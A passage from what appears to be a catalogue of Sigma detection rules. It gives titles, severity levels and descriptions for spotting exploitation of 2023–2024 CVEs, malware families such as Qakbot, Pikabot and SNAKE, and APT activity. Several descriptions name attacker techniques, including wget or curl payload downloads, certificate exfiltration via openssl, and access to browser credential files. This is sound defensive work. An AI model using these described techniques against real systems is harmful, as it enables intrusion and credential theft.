Vulnerable Endpoint Connection (Webserver) - Level: medium Description: Detects exploitation attempt of CVE-2023-22518 (Confluence Data Center / Confluence Server), where an attacker can exploit vulnerable endpoints to e.g. create admin accounts and execute arbitrary commands. Potential CVE-2023-2283 Exploitation - Level: medium Description: Detects potential exploitation attempt of CVE-2023-2283 an authentication bypass in libSSH. The exploitation method causes an error message stating that keys for curve25519 could not be generated. It is an error message that is a sign of an exploitation attempt. It is not a sign of a successful exploitation. Outlook Task/Note Reminder Received - Level: low Description: Detects changes to the registry values related to outlook that indicates that a reminder was triggered for a Note or Task item. This could be a sign of exploitation of CVE-2023-23397. Further investigation is required to determine the success of an exploitation. CVE-2023-23397 Exploitation Attempt - Level: critical Description: Detects outlook initiating connection to a WebDAV or SMB share, which could be a sign of CVE-2023-23397 exploitation. Potential CVE-2023-23397 Exploitation Attempt - SMB - Level: medium Description: Detects (failed) outbound connection attempts to internet facing SMB servers. This could be a sign of potential exploitation attempts of CVE-2023-23397. Potential CVE-2023-23752 Exploitation Attempt - Level: high Description: Detects the potential exploitation attempt of CVE-2023-23752 an Improper access check, in web service endpoints in Joomla Potential CVE-2023-25157 Exploitation Attempt - Level: high Description: Detects a potential exploitation attempt of CVE-2023-25157 a SQL injection in GeoServer Potential CVE-2023-25717 Exploitation Attempt - Level: high Description: Detects a potential exploitation attempt of CVE-2023-25717 a Remote Code Execution via an unauthenticated HTTP GET Request, in Ruckus Wireless Admin Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader - Level: high Description: Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation. Potential CVE-2023-27997 Exploitation Indicators - Level: medium Description: Detects indicators of potential exploitation of CVE-2023-27997 in Frotigate weblogs. To avoid false positives it is best to look for successive requests to the endpoints mentioned as well as weird values of the "enc" parameter Potential MOVEit Transfer CVE-2023-34362 Exploitation - File Activity - Level: high Description: Detects file indicators of potential exploitation of MOVEit CVE-2023-34362. Potential MOVEit Transfer CVE-2023-34362 Exploitation - Dynamic Compilation Via Csc.EXE - Level: medium Description: Detects the execution of "csc.exe" via "w3wp.exe" process. MOVEit affected hosts execute "csc.exe" via the "w3wp.exe" process to dynamically compile malicious DLL files. MOVEit is affected by a critical vulnerability. Exploited hosts show evidence of dynamically compiling a DLL and writing it under C:\\Windows\\Microsoft\.NET\\Framework64\\v4\.0\.30319\\Temporary ASP\.NET Files\\root\\([a-z0-9]{5,12})\\([a-z0-9]{5,12})\\App_Web_[a-z0-9]{5,12}\.dll. Hunting Opportunity Events from IIS dynamically compiling binaries via the csc.exe on behalf of the MOVEit application, especially since May 27th should be investigated. MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request - Level: high Description: Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362 Potential CVE-2023-36874 Exploitation - Uncommon Report.Wer Location - Level: medium Description: Detects the creation of a "Report.wer" file in an uncommon folder structure. This could be a sign of potential exploitation of CVE-2023-36874. Potential CVE-2023-36874 Exploitation - Fake Wermgr.Exe Creation - Level: high Description: Detects the creation of a file named "wermgr.exe" being created in an uncommon directory. This could be a sign of potential exploitation of CVE-2023-36874. Potential CVE-2023-36874 Exploitation - Fake Wermgr Execution - Level: high Description: Detects the execution of a renamed "cmd", "powershell" or "powershell_ise" binary. Attackers were seen using these binaries in a renamed form as "wermgr.exe" in exploitation of CVE-2023-36874 Potential CVE-2023-36884 Exploitation Dropped File - Level: medium Description: Detects a specific file being created in the recent folder of Office. These files have been seen being dropped during potential exploitations of CVE-2023-36884 Potential CVE-2023-36884 Exploitation Pattern - Level: critical Description: Detects a unique pattern seen being used by RomCom potentially exploiting CVE-2023-36884 Potential CVE-2303-36884 URL Request Pattern Traffic - Level: high Description: Detects a specific URL pattern containing a specific extension and parameters pointing to an IP address. This pattern was seen being used by RomCOM potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - File Downloads - Level: medium Description: Detects files seen being requested by RomCom while potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - URL Marker - Level: high Description: Detects a unique URL marker seen being used by RomCom potentially exploiting CVE-2023-36884 Potential CVE-2023-36884 Exploitation - Share Access - Level: high Description: Detects access to a file share with a naming schema seen being used during exploitation of CVE-2023-36884 CVE-2023-38331 Exploitation Attempt - Suspicious Double Extension File - Level: high Description: Detects the creation of a file with a double extension and a space by WinRAR. This could be a sign of exploitation of CVE-2023-38331 CVE-2023-40477 Potential Exploitation - .REV File Creation - Level: low Description: Detects the creation of ".rev" files by WinRAR. Could be indicative of potential exploitation of CVE-2023-40477. Look for a suspicious execution shortly after creation or a WinRAR application crash. CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process - Level: high Description: Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries. CVE-2023-40477 Potential Exploitation - WinRAR Application Crash - Level: medium Description: Detects a crash of "WinRAR.exe" where the version is lower than 6.23. This could indicate potential exploitation of CVE-2023-40477 Potential Information Disclosure CVE-2023-43261 Exploitation - Proxy - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in proxy logs. Potential Information Disclosure CVE-2023-43261 Exploitation - Web - Level: high Description: Detects exploitation attempts of CVE-2023-43261 and information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 that allows attackers to access sensitive router components in access logs. Potential CVE-2023-46214 Exploitation Attempt - Level: medium Description: Detects potential exploitation of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing Exploitation Attempt Of CVE-2023-46214 Using Public POC Code - Level: high Description: Detects exploitation attempt of CVE-2023-46214, a remote code execution (RCE) in Splunk Enterprise through insecure XML parsing using known public proof of concept code CVE-2023-46747 Exploitation Activity - Proxy - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP. CVE-2023-46747 Exploitation Activity - Webserver - Level: high Description: Detects exploitation activity of CVE-2023-46747 an unauthenticated remote code execution vulnerability in F5 BIG-IP. CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs by looking for a very long host header string. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Proxy - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via proxy logs. CVE-2023-4966 Potential Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: medium Description: Detects potential exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs. CVE-2023-4966 Exploitation Attempt - Citrix ADC Sensitive Information Disclosure - Webserver - Level: high Description: Detects exploitation attempt of CVE-2023-4966 a Citrix ADC and NetScaler Gateway sensitive information disclosure vulnerability via webserver logs by looking for a very long host header string. Potential Exploitation Attempt Of Undocumented WindowsServer RCE - Level: high Description: Detects potential exploitation attempt of undocumented Windows Server Pre Auth Remote Code Execution (RCE) Potential SocGholish Second Stage C2 DNS Query - Level: high Description: Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic Potential COLDSTEEL RAT File Indicators - Level: high Description: Detects the creation of a file named "dllhost.exe" in the "C:\users\public\Documents\" directory. Seen being used by the COLDSTEEL RAT in some of its variants. Potential COLDSTEEL Persistence Service DLL Creation - Level: high Description: Detects the creation of a file in a specific location and with a specific name related to COLDSTEEL RAT Potential COLDSTEEL Persistence Service DLL Load - Level: high Description: Detects a suspicious DLL load by an "svchost" process based on location and name that might be related to ColdSteel RAT. This DLL location and name has been seen used by ColdSteel as the service DLL for its persistence mechanism COLDSTEEL RAT Anonymous User Process Execution - Level: high Description: Detects the creation of a process executing as user called "ANONYMOUS" seen used by the "MileStone2016" variant of COLDSTEEL COLDSTEEL RAT Cleanup Command Execution - Level: critical Description: Detects the creation of a "rundll32" process from the ColdSteel persistence service to initiate the cleanup command by calling one of its own exports. This functionality is not present in "MileStone2017" and some "MileStone2016" samples COLDSTEEL RAT Service Persistence Execution - Level: critical Description: Detects the creation of an "svchost" process with specific command line flags, that were seen present and used by ColdSteel RAT Potential COLDSTEEL RAT Windows User Creation - Level: high Description: Detects creation of a new user profile with a specific username, seen being used by some variants of the COLDSTEEL RAT. COLDSTEEL Persistence Service Creation - Level: high Description: Detects the creation of new services potentially related to COLDSTEEL RAT DarkGate - Autoit3.EXE File Creation By Uncommon Process - Level: medium Description: Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable. DarkGate - Autoit3.EXE Execution Parameters - Level: high Description: Detects execution of the legitimate Autoit3 utility from a suspicious parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. DarkGate - User Created Via Net.EXE - Level: high Description: Detects creation of local users via the net.exe command with the name of "DarkGate" Griffon Malware Attack Pattern - Level: critical Description: Detects process execution patterns related to Griffon malware as reported by Kaspersky Injected Browser Process Spawning Rundll32 - GuLoader Activity - Level: high Description: Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process. IcedID Malware Suspicious Single Digit DLL Execution Via Rundll32 - Level: high Description: Detects RunDLL32.exe executing a single digit DLL named "1.dll" with the export function "DllRegisterServer". This behaviour was often seen used by malware and especially IcedID Potential Pikabot C2 Activity - Level: high Description: Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries. Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE - Level: medium Description: Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files. Potential Pikabot Discovery Activity - Level: high Description: Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute). Potential Pikabot Hollowing Activity - Level: high Description: Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries Pikabot Fake DLL Extension Execution Via Rundll32.EXE - Level: high Description: Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity. Qakbot Regsvr32 Calc Pattern - Level: high Description: Detects a specific command line of "regsvr32" where the "calc" keyword is used in conjunction with the "/s" flag. This behavior is often seen used by Qakbot Potential Qakbot Rundll32 Execution - Level: high Description: Detects specific process tree behavior of a "rundll32" execution often linked with potential Qakbot activity. Qakbot Rundll32 Exports Execution - Level: critical Description: Detects specific process tree behavior of a "rundll32" execution with exports linked with Qakbot activity. Qakbot Rundll32 Fake DLL Extension Execution - Level: critical Description: Detects specific process tree behavior of a "rundll32" execution where the DLL doesn't have the ".dll" extension. This is often linked with potential Qakbot activity. Qakbot Uninstaller Execution - Level: high Description: Detects the execution of the Qakbot uninstaller file mentioned in the USAO-CDCA document on the disruption of the Qakbot malware and botnet Rhadamanthys Stealer Module Launch Via Rundll32.EXE - Level: medium Description: Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023 Rorschach Ransomware Execution Activity - Level: critical Description: Detects Rorschach ransomware execution activity SNAKE Malware Kernel Driver File Indicator - Level: critical Description: Detects SNAKE malware kernel driver file indicator SNAKE Malware WerFault Persistence File Creation - Level: high Description: Detects the creation of a file named "WerFault.exe" in the WinSxS directory by a non-system process, which can be indicative of potential SNAKE malware activity SNAKE Malware Installer Name Indicators - Level: low Description: Detects filename indicators associated with the SNAKE malware as reported by CISA in their report Potential SNAKE Malware Installation CLI Arguments Indicator - Level: high Description: Detects a specific command line arguments sequence seen used by SNAKE malware during its installation as described by CISA in their report Potential SNAKE Malware Installation Binary Indicator - Level: high Description: Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report Potential SNAKE Malware Persistence Service Execution - Level: high Description: Detects a specific child/parent process relationship indicative of a "WerFault" process running from the "WinSxS" as a service. This could be indicative of potential SNAKE malware activity as reported by CISA. SNAKE Malware Covert Store Registry Key - Level: high Description: Detects any registry event that targets the key 'SECURITY\Policy\Secrets\n' which is a key related to SNAKE malware as described by CISA Potential Encrypted Registry Blob Related To SNAKE Malware - Level: medium Description: Detects the creation of a registry value in the ".wav\OpenWithProgIds" key with an uncommon name. This could be related to SNAKE Malware as reported by CISA SNAKE Malware Service Persistence - Level: critical Description: Detects the creation of a service named "WerFaultSvc" which seems to be used by the SNAKE malware as a persistence mechanism as described by CISA in their report Ursnif Redirection Of Discovery Commands - Level: high Description: Detects the redirection of Ursnif discovery commands as part of the initial execution of the malware. Potential Compromised 3CXDesktopApp Beaconing Activity - DNS - Level: high Description: Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise Malicious DLL Load By Compromised 3CXDesktopApp - Level: critical Description: Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp Potential Compromised 3CXDesktopApp Beaconing Activity - Netcon - Level: high Description: Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise Potential Compromised 3CXDesktopApp Execution - Level: high Description: Detects execution of known compromised version of 3CXDesktopApp Potential Suspicious Child Process Of 3CXDesktopApp - Level: high Description: Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise Potential Compromised 3CXDesktopApp Update Activity - Level: high Description: Detects the 3CXDesktopApp updater downloading a known compromised version of the 3CXDesktopApp software Potential Compromised 3CXDesktopApp Beaconing Activity - Proxy - Level: high Description: Detects potential beaconing activity to domains related to 3CX 3CXDesktopApp compromise Potential Compromised 3CXDesktopApp ICO C2 File Download - Level: high Description: Detects potential malicious .ICO files download from a compromised 3CXDesktopApp via web requests to the the malicious Github repository Diamond Sleet APT DNS Communication Indicators - Level: high Description: Detects DNS queries related to Diamond Sleet APT activity Diamond Sleet APT File Creation Indicators - Level: high Description: Detects file creation activity that is related to Diamond Sleet APT activity Diamond Sleet APT DLL Sideloading Indicators - Level: high Description: Detects DLL sideloading activity seen used by Diamond Sleet APT Diamond Sleet APT Process Activity Indicators - Level: high Description: Detects process creation activity indicators related to Diamond Sleet APT Diamond Sleet APT Scheduled Task Creation - Registry - Level: high Description: Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability Diamond Sleet APT Scheduled Task Creation - Level: critical Description: Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability Potential Operation Triangulation C2 Beaconing Activity - DNS - Level: high Description: Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB Potential Operation Triangulation C2 Beaconing Activity - Proxy - Level: high Description: Detects potential beaconing activity to domains used in 0day attacks on iOS devices and revealed by Kaspersky and the FSB Potential APT FIN7 Related PowerShell Script Created - Level: high Description: Detects PowerShell script file creation with specific name or suffix which was seen being used often by FIN7 PowerShell scripts Potential APT FIN7 POWERHOLD Execution - Level: high Description: Detects execution of the POWERHOLD script seen used by FIN7 as reported by WithSecureLabs Potential POWERTRASH Script Execution - Level: high Description: Detects potential execution of the PowerShell script POWERTRASH Potential APT FIN7 Reconnaissance/POWERTRASH Related Activity - Level: high Description: Detects specific command line execution used by FIN7 as reported by WithSecureLabs for reconnaissance and POWERTRASH execution Lace Tempest File Indicators - Level: high Description: Detects PowerShell script file creation with specific names or suffixes which was seen being used often in PowerShell scripts by FIN7 Lace Tempest PowerShell Evidence Eraser - Level: high Description: Detects a PowerShell script used by Lace Tempest APT to erase evidence from victim servers by exploiting CVE-2023-47246 as reported by SysAid Team Lace Tempest PowerShell Launcher - Level: high Description: Detects a PowerShell script used by Lace Tempest APT to launch their malware loader by exploiting CVE-2023-47246 as reported by SysAid Team Lace Tempest Cobalt Strike Download - Level: high Description: Detects specific command line execution used by Lace Tempest to download Cobalt Strike as reported by SysAid Team Lace Tempest Malware Loader Execution - Level: high Description: Detects execution of a specific binary based on filename and hash used by Lace Tempest to load additional malware as reported by SysAid Team Lazarus APT DLL Sideloading Activity - Level: high Description: Detects sideloading of trojanized DLLs used in Lazarus APT campaign in the case of a Spanish aerospace company Mint Sandstorm - AsperaFaspex Suspicious Process Execution - Level: critical Description: Detects suspicious execution from AsperaFaspex as seen used by Mint Sandstorm Mint Sandstorm - Log4J Wstomcat Process Execution - Level: high Description: Detects Log4J Wstomcat process execution as seen in Mint Sandstorm activity Mint Sandstorm - ManageEngine Suspicious Process Execution - Level: critical Description: Detects suspicious execution from ManageEngine as seen used by Mint Sandstorm Potential APT Mustang Panda Activity Against Australian Gov - Level: high Description: Detects specific command line execution used by Mustang Panda in a targeted attack against the Australian government as reported by Lab52 Okta 2023 Breach Indicator Of Compromise - Level: medium Description: Detects new user account creation or activation with specific names related to the Okta Support System 2023 breach. This rule can be enhanced by filtering out known and legitimate username used in your environnement. Onyx Sleet APT File Creation Indicators - Level: high Description: Detects file creation activity that is related to Onyx Sleet APT activity PaperCut MF/NG Exploitation Related Indicators - Level: high Description: Detects exploitation indicators related to PaperCut MF/NG Exploitation PaperCut MF/NG Potential Exploitation - Level: high Description: Detects suspicious child processes of "pc-app.exe". Which could indicate potential exploitation of PaperCut Peach Sandstorm APT Process Activity Indicators - Level: high Description: Detects process creation activity related to Peach Sandstorm APT Potential Peach Sandstorm APT C2 Communication Activity - Level: medium Description: Detects potential C2 communication activity related to Peach Sandstorm APT UNC4841 - Email Exfiltration File Pattern - Level: high Description: Detects filename pattern of email related data used by UNC4841 for staging and exfiltration UNC4841 - Barracuda ESG Exploitation Indicators - Level: high Description: Detects file indicators as seen used by UNC4841 during their Barracuda ESG zero day exploitation. UNC4841 - SSL Certificate Exfiltration Via Openssl - Level: high Description: Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command. UNC4841 - Download Compressed Files From Temp.sh Using Wget - Level: high Description: Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation. UNC4841 - Download Tar File From Untrusted Direct IP Via Wget - Level: high Description: Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation. UNC4841 - Potential SEASPY Execution - Level: critical Description: Detects execution of specific named binaries which were used by UNC4841 to deploy their SEASPY backdoor Potential CVE-2024-3400 Exploitation - Palo Alto GlobalProtect OS Command Injection - File Creation - Level: medium Description: Detects suspicious file creations in the Palo Alto Networks PAN-OS' parent telemetry folder, which are processed by the vulnerable 'dt_curl' script if device telemetry is enabled. As said script overrides the shell-subprocess restriction, arbitrary command execution may occur by carefully crafting filenames that are escaped through this function. Potential Exploitation of CVE-2024-37085 - Suspicious Creation Of ESX Admins Group - Level: high Description: Detects execution of the "net.exe" command in order to add a group named "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default. Potential Exploitation of CVE-2024-37085 - Suspicious ESX Admins Group Activity - Level: high Description: Detects any creation or modification to a windows domain group with the name "ESX Admins". This could indicates a potential exploitation attempt of CVE-2024-37085, which allows an attacker to elevate their privileges to full administrative access on an domain-joined ESXi hypervisor. VMware ESXi hypervisors joined to an Active Directory domain consider any member of a domain group named "ESX Admins" to have full administrative access by default. CVE-2024-49113 Exploitation Attempt - LDAP Nightmare - Level: high Description: Detects exploitation attempt of CVE-2024-49113 known as LDAP Nightmare, based on "Application Error" log where the faulting application is "lsass.exe" and the faulting module is "WLDAP32.dll". Potential KamiKakaBot Activity - Lure Document Execution - Level: medium Description: Detects the execution of a Word document via the WinWord Start Menu shortcut. This behavior was observed being used by KamiKakaBot samples in order to initiate the 2nd stage of the infection. Potential KamiKakaBot Activity - Shutdown Schedule Task Creation - Level: medium Description: Detects the creation of a schedule task that runs weekly and execute the "shutdown /l /f" command. This behavior was observed being used by KamiKakaBot samples in order to achieve persistence on a system. Potential KamiKakaBot Activity - Winlogon Shell Persistence - Level: high Description: Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence. Potential Raspberry Robin Aclui Dll SideLoading - Level: high Description: Detects potential sideloading of malicious "aclui.dll" by OleView.This behavior was observed in Raspberry-Robin variants reported by chekpoint research on Feburary 2024. Potential Raspberry Robin CPL Execution Activity - Level: high Description: Detects the execution of a ".CPL" file located in the user temp directory via the Shell32 DLL "Control_RunDLL" export function. This behavior was observed in multiple Raspberry-Robin variants. Potential Raspberry Robin Registry Set Internet Settings ZoneMap - Level: low Description: Detects registry modifications related to the proxy configuration of the system, potentially associated with the Raspberry Robin malware, as seen in campaigns running in Q1 2024. Raspberry Robin may alter proxy settings to circumvent security measures, ensuring unhindered connection with Command and Control servers for maintaining control over compromised systems if there are any proxy settings that are blocking connections. DPRK Threat Actor - C2 Communication DNS Indicators - Level: high Description: Detects DNS queries for C2 domains used by DPRK Threat actors.
detection.threat_hunting	113	Show Rules (113) Potential DLL Injection Via AccCheckConsole - Level: medium Description: Detects the execution "AccCheckConsole" a command-line tool for verifying the accessibility implementation of an application's UI. One of the tests that this checker can run are called "verification routine", which tests for things like Consistency, Navigation, etc. The tool allows a user to provide a DLL that can contain a custom "verification routine". An attacker can build such DLLs and pass it via the CLI, which would then be loaded in the context of the "AccCheckConsole" utility. Mail Forwarding/Redirecting Activity In O365 - Level: medium Description: Detects email forwarding or redirecting acitivty in O365 Audit logs. Python Path Configuration File Creation - Linux - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS). Okta Password Health Report Query - Level: low Description: Detects all activities against the endpoint "/reports/password-health/" which should only be accessed via OKTA Admin Console UI. Use this rule to hunt for potential suspicious requests. Correlate this event with "admin console" login and alert on requests without any corresponding admin console login Terminate Linux Process Via Kill - Level: medium Description: Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process. Process Discovery - Level: low Description: Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network Python Path Configuration File Creation - MacOS - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS). Clipboard Data Collection Via Pbpaste - Level: medium Description: Detects execution of the "pbpaste" utility, which retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. Attackers can abuse this utility in order to collect data from the user clipboard, which may contain passwords or sensitive information. Use this rule to hunt for potential abuse of the utility by looking at the parent process and any potentially suspicious command line content. .Class Extension URI Ending Request - Level: medium Description: Detects requests to URI ending with the ".class" extension in proxy logs. This could rules can be used to hunt for potential downloads of Java classes as seen for example in Log4shell exploitation attacks against Log4j. Firewall Rule Modified In The Windows Firewall Exception List - Level: low Description: Detects when a rule has been modified in the Windows firewall exception list Access To Browser Credential Files By Uncommon Applications - Security - Level: low Description: Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing This rule requires heavy baselining before usage. Scheduled Task Deletion - Level: low Description: Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME Potential Remote WMI ActiveScriptEventConsumers Activity - Level: medium Description: Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity. CreateRemoteThread API and LoadLibrary - Level: medium Description: Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process Remote Thread Creation Via PowerShell - Level: medium Description: Detects the creation of a remote thread from a Powershell process to another process Access To Browser Credential Files By Uncommon Applications - Level: low Description: Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage Access To Chromium Browsers Sensitive Files By Uncommon Applications - Level: low Description: Detects file access requests to chromium based browser sensitive files by uncommon processes. Could indicate potential attempt of stealing sensitive information. Access To Windows Outlook Mail Files By Uncommon Applications - Level: low Description: Detects file access requests to Windows Outlook Mail by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage Access To Sysvol Policies Share By Uncommon Process - Level: medium Description: Detects file access requests to the Windows Sysvol Policies Share by uncommon processes Access To .Reg/.Hive Files By Uncommon Applications - Level: low Description: Detects file access requests to files ending with either the ".hive"/".reg" extension, usually associated with Windows Registry backups. Unattend.XML File Access Attempt - Level: low Description: Detects attempts to access the "unattend.xml" file, where credentials might be stored. This file is used during the unattended windows install process. ADS Zone.Identifier Deleted - Level: low Description: Detects the deletion of the "Zone.Identifier" ADS. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps. DMP/HDMP File Creation - Level: low Description: Detects the creation of a file with the ".dmp"/".hdmp" extension. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash. Python Path Configuration File Creation - Windows - Level: medium Description: Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/*.pth' (Unix and macOS). Scheduled Task Created - FileCreation - Level: low Description: Detects the creation of a scheduled task via file creation. Creation of an Executable by an Executable - Level: low Description: Detects the creation of an executable by another executable. VsCode Code Tunnel Execution File Indicator - Level: medium Description: Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility. Attackers can abuse this functionality to establish a C2 channel WebDAV Temporary Local File Creation - Level: medium Description: Detects the creation of WebDAV temporary files with potentially suspicious extensions Non-DLL Extension File Renamed With DLL Extension - Level: medium Description: Detects rename operations of files with non-DLL extensions to files with a DLL extension. This is often performed by malware in order to avoid initial detections based on extensions. Amsi.DLL Load By Uncommon Process - Level: low Description: Detects loading of Amsi.dll by uncommon processes Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process - Level: medium Description: Detects the load of dbghelp/dbgcore DLL by a potentially uncommon or potentially suspicious process. The Dbghelp and Dbgcore DLLs export functions that allow for the dump of process memory. Tools like ProcessHacker, Task Manager and some attacker tradecraft use the MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Keep in mind that many legitimate Windows processes and services might load the aforementioned DLLs for debugging or other related purposes. Investigate the CommandLine and the Image location of the process loading the DLL. System Drawing DLL Load - Level: low Description: Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture. Microsoft Excel Add-In Loaded - Level: low Description: Detects Microsoft Excel loading an Add-In (.xll) file Microsoft Word Add-In Loaded - Level: low Description: Detects Microsoft Word loading an Add-In (.wll) file which can be used by threat actors for initial access or persistence. WMI Module Loaded By Uncommon Process - Level: low Description: Detects WMI modules being loaded by an uncommon process Dfsvc.EXE Network Connection To Non-Local IPs - Level: medium Description: Detects network connections from "dfsvc.exe" used to handled ClickOnce applications to non-local IPs Dllhost.EXE Initiated Network Connection To Non-Local IP Address - Level: medium Description: Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment. HH.EXE Initiated HTTP Network Connection - Level: medium Description: Detects a network connection initiated by the "hh.exe" process to HTTP destination ports, which could indicate the execution/download of remotely hosted .chm files. Msiexec.EXE Initiated Network Connection Over HTTP - Level: low Description: Detects a network connection initiated by an "Msiexec.exe" process over port 80 or 443. Adversaries might abuse "msiexec.exe" to install and execute remotely hosted packages. Use this rule to hunt for potentially anomalous or suspicious communications. Network Connection Initiated By PowerShell Process - Level: low Description: Detects a network connection that was initiated from a PowerShell process. Often times malicious powershell scripts download additional payloads or communicate back to command and control channels via uncommon ports or IPs. Use this rule as a basis for hunting for anomalies. Potentially Suspicious Azure Front Door Connection - Level: medium Description: Detects connections with Azure Front Door (known legitimate service that can be leveraged for C2) that fall outside of known benign behavioral baseline (not using common apps or common azurefd.net endpoints) Network Connection Initiated From Users\Public Folder - Level: medium Description: Detects a network connection initiated from a process located in the "C:\Users\Public" folder. Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone. Use this rule to hunt for potential suspicious or 